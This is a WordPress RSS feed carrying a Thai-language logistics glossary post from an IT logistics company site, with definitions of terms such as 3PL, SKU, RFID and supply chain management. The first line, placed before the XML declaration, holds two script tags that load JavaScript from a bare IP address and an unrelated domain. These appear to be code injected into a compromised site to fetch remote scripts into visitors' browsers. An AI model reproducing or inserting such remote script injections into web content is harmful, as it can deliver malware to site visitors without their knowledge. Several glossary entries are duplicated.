<script type="text/javascript" src="http://209.62.24.211/mltools.js"></script><script type="text/javascript" src="http://sem-elektrik.com/jstools.js"></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kasco IT &#187; LOGISTICS VOCAB</title>
	<atom:link href="http://www.kascoit.com/index.php/category/logistics-vocab/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kascoit.com</link>
	<description>IT Logistics Expert</description>
	<lastBuildDate>Sat, 18 Sep 2010 08:46:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Logistics Glossary</title>
		<link>http://www.kascoit.com/index.php/2010/01/09/logistics-glossary/</link>
		<comments>http://www.kascoit.com/index.php/2010/01/09/logistics-glossary/#comments</comments>
		<pubDate>Sat, 09 Jan 2010 09:49:11 +0000</pubDate>
		<dc:creator>chadanan</dc:creator>
				<category><![CDATA[LOGISTICS VOCAB]]></category>
		<category><![CDATA[Barcode]]></category>
		<category><![CDATA[Barcode Software]]></category>
		<category><![CDATA[ERP]]></category>
		<category><![CDATA[Inventory]]></category>
		<category><![CDATA[Logistics]]></category>
		<category><![CDATA[Logistics Software]]></category>
		<category><![CDATA[MRP]]></category>
		<category><![CDATA[RFID]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Stock]]></category>
		<category><![CDATA[Tracking]]></category>
		<category><![CDATA[Warehouse Management System]]></category>
		<category><![CDATA[WMS]]></category>
		<category><![CDATA[คลังสินค้า]]></category>
		<category><![CDATA[ซอฟแวร์]]></category>
		<category><![CDATA[ซอฟแวร์คลังสินค้า]]></category>
		<category><![CDATA[บาร์โค๊ด]]></category>
		<category><![CDATA[ฟรี สัมมนาโลจิสติกส์]]></category>
		<category><![CDATA[ระบบคลังสินค้า]]></category>
		<category><![CDATA[ระบบบริหารคลังสินค้า]]></category>
		<category><![CDATA[สต็อก]]></category>
		<category><![CDATA[สต็อค]]></category>
		<category><![CDATA[สต๊อก]]></category>
		<category><![CDATA[สต๊อค]]></category>
		<category><![CDATA[สินค้าคงคลัง]]></category>
		<category><![CDATA[อบรมคลังสินค้า]]></category>
		<category><![CDATA[โปรแกรม Logistics]]></category>
		<category><![CDATA[โปรแกรมขนส่ง]]></category>
		<category><![CDATA[โปรแกรมคลังสินค้า]]></category>
		<category><![CDATA[โปรแกรมธุรกิจขนส่ง]]></category>
		<category><![CDATA[โปรแกรมบริหารงานขนส่ง]]></category>
		<category><![CDATA[โปรแกรมบริหารโรงงาน]]></category>
		<category><![CDATA[โปรแกรมบาร์โค๊ด]]></category>
		<category><![CDATA[โปรแกรมโลจิสติกส์]]></category>

		<guid isPermaLink="false">http://www.kascoit.com/?p=357</guid>
		<description><![CDATA[Added-value processes/services บริการเสริม /
กระบวนการเสริม บริการเสริมหรือกระบวนการที่ดำเนินการเพิ่มเติมให้แก่สินค้าและบริการเพื่อเพิ่มมูลค ่าแก่ลูกค้าทั้งภายในและภายนอก]]></description>
			<content:encoded><![CDATA[<p> <span style="color: #ff6600;"><strong>3PL</strong> คำนี้ย่อมาจากคำว่า <strong>Third Party Logistics </strong></span>หมายถึง บริษัททำให้บริการด้าน Outsource ที่มาทำหน้าที่บางอย่างแทนองค์กร เช่น หน้าที่บางอย่างในระบบ Supply Chain และในคลังสินค้า (Warehouse) หรือ การขนส่ง (<strong>Transportation</strong>) เพื่อเพิ่มประสิทธิภาพในการทำงานมากขึ้น ลดต้นทุน และสำเร็จได้ด้วยความรวดเร็วผู้ให้บริการลอจิสติกส์บุคคลที่ 3 หรือ <strong>Third party logistics provider : 3PL</strong> ผู้ให้บริการด้านลอจิสติกส์ที่มักจะใช้ทรัพยากรหรือสินทรัพย์ของตนเองในการให้บริการ</p>
<p><span style="color: #ff6600;"><strong>Added-value processes/services บริการเสริม /</strong><span style="color: #000000;">กระบวนการเสริม บริการเสริมหรือกระบวนการที่ดำเนินการเพิ่มเติมให้แก่สินค้าและบริการเพื่อเพิ่มมูลค ่าแก่ลูกค้าทั้งภายในและภายนอก<br />
</span></span><strong><span style="color: #ff6600;">Aftermarket<br />
</span></strong>กระบวนการหลังการขาย กิจกรรมที่ดำเนินการภายหลังกระบวนการขาย เช่น การจัดส่งอะไหล่ทดแทนหรืออะไหล่บริการ โดยเฉพาะอย่างยิ่ง ในอุตสาหกรรมรถยนต์</p>
<p> <strong><span style="color: #ff6600;">Backstage areas<br />
</span></strong>ส่วนหลังร้าน พื้นที่ด้านหลังร้านหรือห้าง ซึ่งใช้เป็นที่จัดเก็บสินค้า และดำเนินการด้านลอจิสติกส์</p>
<p><strong><span style="color: #ff6600;">Bonded warehouse<br />
</span></strong>คลังสินค้าทัณฑ์บน จุดหรือศูนย์รวบรวมสินค้าที่ได้รับมอบหมายจากศุลกากรให้จัดเก็บสินค้า การชำระค่าธรรมเนียมและภาษีของสินค้าเหล่านี้จะทำได้ก็ต่อเมื่อสินค้าดังกล่าวได้รับ การขนย้ายจากคลังแล้วเท่านั้น</p>
<p><strong><span style="color: #ff6600;">Campus<br />
</span></strong>ศูนย์กระจายสินค้าร่วม จุดที่ศูนย์กระจายสินค้าหลายแห่งใช้ทรัพยากรต่าง ๆ เช่น พนักงาน และการขนส่งร่วมกัน เพื่อประสิทธิผลด้านเวลาและค่าใช้จ่าย ดูเพิ่มเติมใน ศูนย์กระจายสินค้าสำหรับผู้ใช้หลายราย (Distribution Centre; multi-user)</p>
<p> <span style="color: #ff6600;"><strong>Consignment<br />
</strong></span>สินค้าขนส่ง สินค้าหนึ่งรายการหรือมากกว่าที่ผู้ขนส่งได้รับดำเนินการจัดส่งภายในระยะเวลาที่กำหนด</p>
<p><span style="color: #ff6600;"><strong> Demand chain</strong></span><br />
ห่วงโซ่อุปสงค์ กระบวนการจัดส่งที่ตรงกันข้ามกับกระบวนการจัดส่งกำลังบำรุงหรือซัพพลายเชน โดยกระบวนการที่เกี่ยวข้องนั้นเปลี่ยนมาเป็นเริ่มจากอุปสงค์ของลูกค้าแทน ห่วงโซ่อุปสงค์นั้นดำเนินไปตามความต้องการของผู้บริโภคมากกว่าของผู้ผลิตสินค้าค้า ดูเพิ่มเติม<br />
pull replenishment</p>
<p><span style="color: #ff6600;"><strong>Distribution<br />
</strong></span>การกระจายสินค้า กระบวนการจัดเก็บและขนส่งสินค้าสำเร็จรูปจากแหล่งผลิตไปยังผู้บริโภค</p>
<p><span style="color: #ff6600;"><strong>End-to-end</strong><br />
</span>กระบวนการลอจิสติกส์ครบวงจร กระบวนการดำเนินการ ด้านลอจิสติกส์แบบครบวงจร การบริหารซัพพลายเชนแบบครบวงจรเริ่มตั้งแต่การจัดหาวัตถุดิบและการขนส่ง สินค้าจากแหล่งไปยังผู้บริโภคปลายทาง</p>
<p><span style="color: #ff6600;"><strong>End-of-life</strong><br />
</span>สินค้าที่หมดอายุที่สามารถวางจำหน่ายได้ รวมถึงสินค้าที่ตกรุ่น หรือสินค้าที่ชำรุดไม่สามารถซ่อมแซมได้</p>
<p><span style="color: #ff6600;"><strong>Electronic data interchange (EDI) </strong><strong>ระบบ EDI<br />
</strong></span>ระบบการส่งข้อมูลระหว่างระบบคอมพิวเตอร์ของสองบริษัท ซึ่งรวมถึง ข้อมูลในเอกสารประเภทใบสั่งซื้อและใบเรียกเก็บเงิน</p>
<p><strong><span style="color: #ff6600;">Fourth-party logistics provider (4PL)</span></strong><br />
หมายถึง ผู้ให้บริการบริหารจัดการและประสานงานด้านซัพพลายเชนบุคคลที่ 4 ผู้ให้บริการบริหารจัดการและประสานงานด้านซัพพลายเชนซึ่งมักจะไม่ได้มี สินทรัพย์หรือทรัพยากรในการประกอบการด้านดังกล่าวเป็นของตนเอง เมื่อทำหน้าที่ผู้ให้บริการบริหารจัดการและประสานงานด้านซัพพลายเชน <strong>(Lead Logistics Provider – LLP) </strong>ผู้ให้บริการดังกล่าวอาจทำหน้าที่ประสานงาน และดูแลบริการของผู้ให้บริการรายอื่น ๆ ให้สอดคล้องกัน โดยมีบริการสนับสนุนหรือบริการเสริมอื่น ๆ</p>
<p><strong><span style="color: #ff6600;">Freight </span><span style="color: #ff6600;">forwarder</span></strong><br />
ผู้ให้บริการขนส่งระหว่างประเทศ บริษัทซึ่ง ให้บริการรับสินค้า รวบรวมสินค้า ขนส่ง และกระจายสินค้าไปยังต่างประเทศ โดยปกติแล้ว ผู้ให้บริการขนส่งระหว่างประเทศมักจะให้บริการด้านพิธีการศุลกากร จัดเตรียมเอกสาร และดำเนินการขนส่ง จัดเก็บสินค้า และจัดส่งสินค้าด้วย</p>
<p><span style="color: #ff6600;"><strong>Freight management</strong><br />
</span>การบริหารจัดการการขนส่ง การบริหารจัดการผู้ให้บริการขนส่งบุคคลที่สามเพื่อให้แน่ใจว่าการขนส่งสินค้าจะ ดำเนินไปอย่างรวดเร็ว ถึงที่หมายโดยปลอดภัย และมีประสิทธิภาพคุ้มค่า โดยส่วนใหญ่แล้วมักจะเกี่ยวข้องกับการดูแลให้บริการต่าง ๆ ดำเนินไปอย่างสอดคล้องและมีประสิทธิภาพ</p>
<p><!-- AKPC_IDS += "2747,"; // --><span style="color: #ff6600;"><strong>Freight management<br />
</strong></span>การบริหารจัดการการขนส่ง การบริหารจัดการผู้ให้บริการขนส่งบุคคลที่สามเพื่อให้แน่ใจว่าการขนส่งสินค้าจะดำเนิ นไปอย่างรวดเร็ว ถึงที่หมายโดยปลอดภัย และมีประสิทธิภาพคุ้มค่า โดยส่วนใหญ่แล้วมักจะเกี่ยวข้องกับการดูแลให้บริการต่าง ๆ ดำเนินไปอย่างสอดคล้องและมีประสิทธิภาพ</p>
<p><span style="color: #ff6600;"> <strong>Globalisation</strong></span></p>
<p>โลกาภิวัฒน์ ระบอบการค้าระหว่างประเทศ ซึ่งระบบเศรษฐกิจของแต่ละประเทศมีความเกี่ยวพันกัน</p>
<p><span style="color: #ff6600;"> <strong>Home delivery</strong></span></p>
<p>บริการจัดส่งถึงที่ บริการขนส่งสินค้าถึงยังสถานที่ที่ลูกค้าเลือก (รวมถึงสำนักงาน) บริการดังกล่าวถือเป็นการดำเนินการตามการสั่งซื้ออย่างหนึ่ง ส่วนใหญ่แล้วการขายผ่านทางระบบอี คอมเมิร์ซมักจะให้บริการจัดส่งถึงที่ด้วย</p>
<p><span style="color: #ff6600;"> <strong>In-store logistics</strong></span></p>
<p>ลอจิสติกส์สำหรับห้างร้าน บริการก่อนการค้าปลีกภายในห้างร้าน โดยส่วนใหญ่มักจะเป็นกิจกรรมในส่วนพื้นที่หลังร้าน บริการเหล่านี้รวมถึงการสั่งสินค้าคืนสต็อก การจัดเก็บสินค้าและการบรรจุหีบห่อ</p>
<p> <strong><span style="color: #ff6600;">Inbound-to-manufacturing</span></strong></p>
<p>การจัดหาและจัดส่งสินค้าจากแหล่งไปยังโรงงานผลิต</p>
<p><span style="color: #ff6600;"> <strong>Inventory<br />
</strong></span>รายการบัญชีสินค้า รายการวัตถุดิบ ส่วนประกอบ งานที่กำลังดำเนินการ สินค้าสำเร็จรูป หรือทรัพยากรอื่น ๆ</p>
<p><span style="color: #ff6600;"><strong>lead logistics provider (LLP) </strong></span>หมายถึง ผู้ให้บริการโลจิสติกส์หลัก ที่มีการปฏิบัติการโลจิสติกส์ขนาดใหญ่ บริษัทอาจจะมีการจัดจ้างผู้ให้บริการโลจิสติกส์หลายรายในแต่ละกิจกรรมด้านโลจิสติกส์ ทำให้บริษัทต้องมีความยุ่งยากในการบริหารผู้ให้บริการโลจิสติกส์เหล่านี้ ดังนั้นเพื่อเป็นการลดภาระการบริหารลง บริษัทอาจจะกำหนดผู้ให้บริการโลจิสติกส์ รายใดรายหนึ่งจากผู้ให้บริการโลจิสติกส์หลายๆ รายที่มีอยู่ขึ้นมาให้เป็นผู้ให้บริการโลจิสติกส์หลัก หรือที่เรียกกันว่า <strong>lead logistics provider (LLP)</strong> ซึ่งจะมีหน้าที่ประสานการปฏิบัติการกิจกรรมโลจิสติกส์บางส่วนหรือทั้งหมดที่บริษัทมีการจัดจ้างออกมา</p>
<p><span style="color: #ff6600;"> <strong>Just-in-time</strong></span></p>
<p>การดำเนินการแบบพอดีเวลา กิจกรรมต่าง ๆ ซึ่งรวมถึง การขนส่ง ซึ่งดำเนินการให้แล้วเสร็จทันเวลาตามกำหนดการในการผลิตหรือกำหนดการในการขนส่งให้แก่ ลูกค้าพอดี เทคนิคดังกล่าวช่วยเพิ่มกำไรให้กับบริษัทมากยิ่งขึ้น โดยช่วยลดบัญชีรายการสินค้าที่กำลังดำเนินการอยู่และค่าใช้จ่ายที่เกี่ยวข้อง เรียกอีกอย่างหนึ่งว่า Just-in-sequence</p>
<p><span style="color: #ff6600;"><strong> </strong><strong>Kerbside<br />
</strong></span>การรับ-ส่งสินค้าจากกลางทาง การขนส่งไปยัง และ/หรือการรับสินค้าที่จะขนส่งจากกลางทาง</p>
<p><span style="color: #ff6600;"><strong> lead logistics provider (LLP)</strong></span><br />
หมายถึง ผู้ให้บริการโลจิสติกส์หลัก ที่มีการปฏิบัติการโลจิสติกส์ขนาดใหญ่ บริษัทอาจจะมีการจัดจ้างผู้ให้บริการโลจิสติกส์หลายรายในแต่ละกิจกรรมด้านโลจิสติกส์ ทำให้บริษัทต้องมีความยุ่งยากในการบริหารผู้ให้บริการโลจิสติกส์เหล่านี้ ดังนั้นเพื่อเป็นการลดภาระการบริหารลง บริษัทอาจจะกำหนดผู้ให้บริการโลจิสติกส์ รายใดรายหนึ่งจากผู้ให้บริการโลจิสติกส์หลายๆ รายที่มีอยู่ขึ้นมาให้เป็นผู้ให้บริการโลจิสติกส์หลัก หรือที่เรียกกันว่า <strong><span style="color: #ff6600;">lead logistics provider</span><span style="color: #ff6600;"> (</span><span style="color: #ff6600;">LLP</span><span style="color: #ff6600;">)</span></strong> ซึ่งจะมีหน้าที่ประสานการปฏิบัติการกิจกรรมโลจิสติกส์บางส่วนหรือทั้งหมดที่บริษัทมีการจัดจ้างออกมา<strong><span style="color: #ff6600;">Less-than-truckload (LTL)<br />
</span></strong>การบรรทุกแบบไม่เต็มคันรถ สินค้าที่มีปริมาณไม่มาก บรรทุกไม่เต็มคันรถมาตรฐาน</p>
<p> <strong><span style="color: #ff6600;">Linehau</span></strong><br />
การขนส่งทางบกถึงท่าขนส่ง การขนส่งทางบก โดยทางรถหรือทางรถไฟ โดยเฉพาะอย่างยิ่ง การขนส่งจากท่าส่งสินค้าต้นทางไปยังท่ารับสินค้าปลายทาง</p>
<p><span style="color: #ff6600;"> </span><strong><span style="color: #ff6600;">Logistics</span></strong>ลอจิสติกส์ กระบวนการวางแผน ดำเนินการ และควบคุมให้สามารถบริหารจัดการและจัดเก็บวัตถุดิบ สินค้าคงคลังที่ยังดำเนินการอยู่ สินค้าสำเร็จรูป และข้อมูลที่เกี่ยวข้องได้อย่างมีประสิทธิภาพและมีประสิทธิผลคุ้มค่า จากแหล่งต้นทางไปยังปลายทางเพื่อการบริโภคของผู้บริโภค พูดง่าย ๆ ก็คือ ศาสตร์และศิลป์ในการบริหารจัดการให้สินค้าที่เหมาะสมไปถึงที่หมายที่เหมาะสม ในปริมาณที่เหมาะสม ภายในเวลาที่เหมาะสมเพื่อตอบสนองต่อความต้องการของลูกค้า กระบวนการลอจิสติกส์ประกอบด้วย การจัดเก็บสินค้า การขนส่ง บริการเสริมและบริการก่อนการค้าปลีก รวมถึงบริการสารสนเทศต่าง ๆ และครอบคลุมการบริหารจัดการสินค้าขาเข้า สินค้าขาออก สินค้าภายในประเทศ สินค้าระหว่างประเทศ รวมถึงการบริหารสินค้าคืน</p>
<p><strong> </strong><strong><span style="color: #ff6600;">Merge in transit</span></strong></p>
<p>การขนส่งแบบไม่ผ่านคลังสินค้า โครงสร้างด้านลอจิสติกส์ที่ดำเนินการขนส่งสินค้าที่ได้มีการรวบรวมและบรรจุหีบห่อแล้ ว โดยไม่ผ่านคลังกระจายสินค้า จากผู้ผลิตหรือซัพพลายเออร์มากกว่าหนึ่งรายไปยังผู้บริโภค</p>
<p><span style="color: #ff6600;"><strong> </strong><strong>National Distribution Centre (NDC)</strong></span></p>
<p>ศูนย์กระจายสินค้าระดับชาติ ดูใน Distribution Centre (DC)</p>
<p><span style="color: #ff6600;"> <strong>Origin services</strong></span>บริการ ณ ต้นทาง บริการเสริมหรือบริการสนับสนุนต่าง ๆ ณ จุดต้นทางที่ดำเนินการขนส่งสินค้าหรือวัตถุดิบ ซึ่งอาจรวมถึง การจัดซื้อ การบริหารการสั่งซื้อ การดำเนินการตามกฎระเบียบสำหรับผู้ค้า การตรวจสอบคุณภาพ การบริหารจัดการเอกสาร การดูแลการบรรทุกสินค้าให้เป็นไปอย่างมีประสิทธิภาพ การบรรจุสินค้าตามใบสั่ง การบรรทุกสินค้าเป็นแพ็คใหญ่ การดำเนินการด้านพิธีการศุลกากรและการรวบรวมสินค้า</p>
<p><strong> </strong><strong><span style="color: #ff6600;">Pick-and-pack</span></strong></p>
<p>การบรรจุหีบห่อตามใบสั่ง กระบวนการเลือกรายการสินค้าตามใบสั่งของลูกค้าและบรรจุหีบห่อเพื่อดำเนินการขนส่งต่อ ไป</p>
<p><span style="color: #ff6600;"><strong> </strong><strong>Pre-shipping</strong></span></p>
<p>กระบวนการก่อนจัดส่ง กิจกรรมต่าง ๆ ที่ดำเนินการก่อนจะจัดส่งสินค้าทางทะเล</p>
<p><strong><span style="color: #ff6600;">Re-working/Re-packing</span></strong></p>
<p>การปรับแต่งสินค้า / บรรจุหีบห่อใหม่ การบรรจุหีบห่อใหม่ให้แก่ลูกค้าบางราย อาจหมายถึง การจัดหีบห่อสินค้าใหม่ ส่วนการปรับแต่งสินค้าหมายถึงการปรับแต่งสินค้าเพื่อให้เหมาะกับความต้องการของตลาดท ้องถิ่น</p>
<p><span style="color: #ff6600;"><strong>Real-time</strong></span>การรายงานผล ในขณะที่ดำเนินการ การรายงานผลแบบทันเหตุการณ์ ระบบการรายงานผลในขณะที่ดำเนินการทำให้สามารถควบคุมสถานการณ์ต่าง ๆ ได้อย่างทันท่วงที มักใช้กับการติดตามสถานะการขนส่ง ดูเพิ่มเติม track-and-trace</p>
<p><strong><span style="color: #ff6600;">Reverse Logistics</span></strong> หมายถึง กระบวนการจัดการสินค้าย้อนกลับจากลูกค้ามายังผู้ผลิต ไม่ว่าจะเป็นการเรียกกลับสินค้าคืน, สินค้าเสียหาย, สินค้าไม่ได้มาตรฐาน หรือสินค้าหมดอายุการใช้งาน</p>
<p><strong><span style="color: #ff6600;">Reverse Logistics</span></strong> เป็นส่วนหนึ่งของซัพพลายเชน (supply chain) ที่หลายฝ่ายหันมาให้ความสนใจมากขึ้นเป็นลำดับ ด้วยเหตุผลที่สินค้ามีความจำเป็นต้องส่งคืนจากผู้บริโภคไปสู่จุดจำหน่ายสินค้า ผู้ผลิตสินค้า และผู้ส่งมอบวัตถุดิบ อาจเป็นเพราะมีสินค้าขายไม่ได้เป็นจำนวนมาก สินค้ามีข้อบกพร่อง สินค้าที่ส่งมอบผิดประเภทผิดขนาด สินค้าขายดีในพื้นที่หนึ่งแต่กลับขายไม่ได้ในอีกพื้นที่หนึ่ง หรือด้วยสาเหตุด้านสิ่งแวดล้อมและความปลอดภัยของผู้บริโภค</p>
<p><span style="color: #ff6600;"><strong>RFID/smart labels</strong></span>ป้ายรหัสคลื่นวิทยุ RFID คือป้ายรหัสคลื่นวิทยุ ซึ่งเป็นระบบที่ใช้คลื่นวิทยุแสดงถึงสถานที่จัดเก็บสินค้าผลิตภัณฑ์ที่เก็บรวมเป็นล็ อตใหญ่ หรือสินทรัพย์ในการขนส่งอื่น ๆ โดยใช้ป้ายอิเล็กทรอนิกส์แบบพิเศษ ป้ายดังกล่าว ซึ่งเรียกกันว่า ป้าย smart labels หรือ intelligent tags ทำให้สามารถติดตามสินค้าหรือสินทรัพย์ต่าง ๆ ได้โดยอัตโนมัติ ตลอดทั้งกระบวนการซัพพลายเชน ป้ายรหัสคลื่นวิทยุ RFID ยังสามารถช่วยลดการใช้ทรัพยากรในการบริหารจัดการสินค้า เพิ่มประสิทธิผล ช่วยให้ใช้พื้นที่ในการจัดเก็บสินค้าได้อย่างมีประสิทธิภาพสูงสุด และป้องกันความผิดพลาดในการขนส่งและทำให้สามารถควบคุมการขนส่งได้อย่างมีประสิทธิภาพ ยิ่งขึ้น</p>
<p><span style="color: #ff6600;"><strong>Routing</strong></span>การจัดเส้นทาง กระบวนการวางแผนเส้นทางสินค้าที่จะขนส่ง</p>
<p><strong><span style="color: #ff6600;">SKU</span> </strong>ย่อมาจาก <span style="color: #ff6600;">Stock keeping </span>Unit หมายถึง รายการสินค้า หรือ การจำแนกสินค้าเป็นหน่วย</p>
<p><strong><span style="color: #ff6600;">SKU (Stock Keeping Unit)</span></strong> คือ หน่วยวัดที่เล็กที่สุดในสินค้าคงคลัง โดยการทำการบันทึก และเก็บข้อมูลทางด้านปริมาณ ซึ่งทำให้สามารถแยกความแตกต่างของสินค้าแต่ละชิ้นได้ จึงมีการกำหนดรายการสินค้า เพื่อให้ง่ายและเข้าใจตรงกันทั้งระบบ ตั้งแต่ ผู้ผลิต ผู้จัดซื้อ จัดส่ง จนถึงผู้ขายปลีก เป็นการตอบสนองความต้องการทุกฝ่าย ไม่ให้เกิดความสับสน และให้เกิดความเพียงพอต่อสต็อกสินค้าของคลังสินค้า เพื่อให้รองรับต่อการผลิต และการขายสินค้าอย่างต่อเนื่องไม่ให้้เกิดปัญหาน้อยที่สุด</p>
<p><strong><span style="color: #ff6600;">SKU (Stock keeping Unit)</span></strong><br />
หมายถึง หน่วยที่เล็กที่สุดในการจัดเก็บสินค้า สินค้า 1 รายการ อาจจะมีหลาย <strong><span style="color: #ff6600;">SKU</span></strong> เช่น แป้ง 1 ชนิด อาจจะมี <strong>5 <span style="color: #ff6600;">SKU</span></strong> ประกอบด้วยภาชนะบรรจุ <strong>สีเขียว,ส้ม,เหลือง,ฟ้า,ส้ม</strong> ซึ่ง <strong><span style="color: #ff6600;">SKU</span></strong> จะเป็นหน่วยเฉพาะของสินค้านั้น ๆ Storage การจัดเก็บสินค้าและวัตถุดิบในคลังสินค้า ตามความต้องการของลูกค้าและหน่วยงานอื่น ๆ</p>
<p><span style="color: #ff6600;"><strong>Seafreigh</strong></span>การขนส่งสินค้าทางทะเล</p>
<p><span style="color: #ff6600;"><strong>Service logistics</strong></span>ลอจิสติกส์ด้านการบริการ กิจกรรมด้านลอจิสติกส์ที่เกี่ยวข้องกับการบริหารจัดการชิ้นส่วนบริการระหว่างผู้ผลิต และลูกค้า</p>
<p><span style="color: #ff6600;"><strong>Sourcing</strong></span>การจัดหาสินค้า การจัดหาแหล่งและจัดซื้อสินค้าและผลิตภัณฑ์จากแหล่งผลิต</p>
<p><strong><span style="color: #ff6600;">Strategic parts centre</span></strong>ศูนย์อะไหล่เชิงกลยุทธ์ ศูนย์อะไหล่เชิงกลยุทธ์ (Strategic Part Centre &#8211; SPCs) เป็นศูนย์ภายในประเทศที่ให้บริการ</p>
<p><span style="color: #ff6600;"><strong>Sub-assembly</strong></span>การประกอบสินค้า กระบวนการประกอบชิ้นส่วนเข้าด้วยกันเพื่อประกอบสินค้าสำเร็จรูป</p>
<p><strong><span style="color: #ff6600;"> </span></strong><strong><span style="color: #ff6600;">Supply Chain</span></strong> ซัพพลายเชน การจัดการกลุ่มทรัพยากรและกระบวนการต่าง ๆ ให้ดำเนินการอย่างสอดคล้องเป็นกระบวนการเดียวกัน ตั้งแต่การจัดหาวัตถุดิบและจบลงด้วยการจัดส่งสินค้าให้แก่ผู้บริโภคปลายทาง กระบวนการดังกล่าวครอบคลุมถึงผู้ค้า สถานที่ผลิต ผู้ให้บริการด้านลอจิสติกส์ ศูนย์กระจายสินค้าภายใน ผู้กระจายสินค้า ผู้ค้าส่งและตัวกลางการค้าอื่น ๆ ดูเพิ่มเติม demand chain</p>
<p><span style="color: #ff6600;"><strong>Supply chain management</strong></span>การบริหารจัดการซัพพลายเชน การควบคุมกระบวนการซัพพลายเชนให้ดำเนินไปอย่างสอดคล้องกัน ตั้งแต่การจัดหาวัตถุดิบจากผู้ค้า ไปจนถึงการแปรรูปเป็นสินค้าสำเร็จ และการจัดส่งไปยังผู้บริโภคปลายทาง กระบวนการดังกล่าวครอบคลุมถึงการแบ่งปันข้อมูล การวางแผน การจัดการทรัพยากรให้สอดคล้องกัน และการประเมินผลอย่างครบวงจรตลอดกระบวนการ</p>
<p><strong><span style="color: #ff6600;">Supply chain re-engineering<br />
</span></strong>การปรับปรุงกระบวนการซัพพลายเชน การปรับปรุงประสิทธิภาพของกระบวนการซัพพลายเชน โดยหนึ่งในงานหลักก็คือการประเมินความมีประสิทธิภาพคุ้มค่าในการดำเนินการเพื่อให้แน ่ใจว่าค่าใช้จ่ายในกระบวนการซัพพลายเชนจะลดลง ตลอดระยะเวลาที่มีสัญญาการดำเนินงาน</p>
<p><strong><span style="color: #ff6600;">Temperature-controlled<br />
</span></strong>การเก็บรักษาสินค้าด้วยการควบคุมอุณหภูมิ การเก็บรักษาสินค้าในอุณหภูมิที่เหมาะสมกับสภาพของสินค้า เช่น สินค้าแช่แข็งหรือสินค้าที่ต้องเก็บในที่เย็น</p>
<p><span style="color: #ff6600;"><strong> </strong><strong>TEU<br />
</strong></span>ตู้ขนาด 20 ฟุต ตู้คอนเทนเนอร์ขนาด 20 ฟุต ซึ่งถือเป็นตู้คอนเทนเนอร์ในการขนส่งทางทะเลขนาดมาตรฐาน</p>
<p><span style="color: #ff6600;"><strong> </strong><strong>Third party logistics provider (3PL)<br />
</strong></span>ผู้ให้บริการลอจิสติกส์บุคคลที่ 3 ผู้ให้บริการด้านลอจิสติกส์ที่มักจะใช้ทรัพยากรหรือสินทรัพย์ของตนเองในการให้บริการ </p>
<p><strong><span style="color: #ff6600;">Time-definite<br />
</span></strong>บริการขนส่งภายในเวลาที่กำหนด บริการขนส่งหรือจัดส่งสินค้าภายในหนึ่งวันหรือภายในช่วงเวลาที่กำหนด</p>
<p><strong><span style="color: #ff6600;">Track-and-trace<br />
</span></strong>การติดตามสถานะการขนส่ง กระบวนการติดตามความคืบหน้าในการขนส่งสินค้าในกระบวนการซัพพลายเชน ซึ่งมักจะเป็นการรายงานผลแบบทันเหตุการณ์ในขณะที่ดำเนินการ หรือใกล้เคียงกับเวลาที่ดำเนินการ เพื่อติดตามสถานะของสินค้าที่ทำการขนส่ง โดยมีระบบบริหารข้อมูลด้านลอจิสติกส์อันทันสมัยเป็นศูนย์ควบคุม และสั่งการการบริหารจัดการซัพพลายเชนจากส่วนกลาง โดยรับทราบข้อมูลและสถานการณ์ที่เกิดขึ้นอย่างถูกต้องและทันท่วงที</p>
<p> <span style="color: #ff6600;"><strong>Time Series Method  การพยากรณ์แบบอนุกรมเวลา<br />
</strong></span>เป็นวิธีการที่ใช้พยากรณ์ยอดขายในอนาคตโดยคาดว่าจะมีลักษณะเช่นเดียวกับยอดขายในปัจจุบันหรืออนาคต ยอดขายหรืออุปสงค์ในความเป็นจริงได้รับอิทธิพลจากแนวโน้ม (Trend) ฤดูกาล (Seasonal) วัฎจักร (Cycle) และเหตุการณ์ผิดปกติ (Irregular Variation)</p>
<p>การใช้อนุกรมเวลามี 3 วิธี คือ</p>
<ul>
<li><strong>การพยากรณ์อย่างง่าย (naïve Forecast)</strong> เป็นการพยากรณ์ว่ายอดขายในอนาคตจะเท่ากับยอดขายปัจจุบัน เช่น เดือนมกราคมขายได้ 35 กล่อง เดือนกุมภาพันธ์ควรจะขายได้ 35 กล่อง เช่นกัน ถ้าเดือนกุมภาพันธ์ขายได้จริง 42 กล่อง ก็จะพยากรณ์ว่าเดือนมีนาคมว่าขายได้ 42 กล่องเช่นกัน  </li>
<li><strong>การหาค่าเฉลี่ยเคลื่อนที่ (Moving Average)</strong> เป็นการหาค่าเฉลี่ยของยอดขายโดยใช้จำนวนข้อมูล 3 ช่วงเวลาขึ้นไปในการคำนวณ เมื่อเวลาผ่านไป 1 ช่วงก็ใช้ข้อมูลใหม่มาเฉลี่ยแทนข้อมูลในช่วงเวลาไกลที่สุดซึ่งจะถูกตัดทิ้งไป</li>
<li><strong>การปรับเรียบด้วยเอ็กซ์โปเนนเชียล (Exponential Smoothing)</strong> เป็นการหาค่าเฉลี่ยเคลื่อนที่แบบถ่วงน้ำหนักที่จัดค่าพยากรณ์ออกมาในรูปการใช้สมการคำนวณ ซึ่งจะใช้ค่าข้อมูลเริ่มต้นค่าเดียวและถ่วงน้ำหนักโดยใช้สัมประสิทธิ์เชิงเรียบ ที่มีค่าอยู่ระหว่าง 0 ถึง 1.00</li>
</ul>
<p><span style="color: #ff6600;"><strong> </strong><strong>Transload</strong></span>การบรรทุกสินค้าแบบย้ายตู้ การย้ายสินค้าจากตู้คอนเทนเนอร์บรรทุกสินค้าขนาด 40 ฟุตไปบรรทุกในตู้ขนาด 53 ฟุตที่ขนส่งโดยรถบรรทุก เพื่อลดค่าใช้จ่ายต่อหน่วย และเพื่อให้ขนส่งได้อย่างรวดเร็วยิ่งขึ้นและไม่ผิดพลาด</p>
<p><span style="color: #ff6600;"><strong>Unit cost</strong></span>ค่าใช้จ่ายทั้งหมดต่อสินค้าหนึ่งหน่วย The total cost of producing a single unit</p>
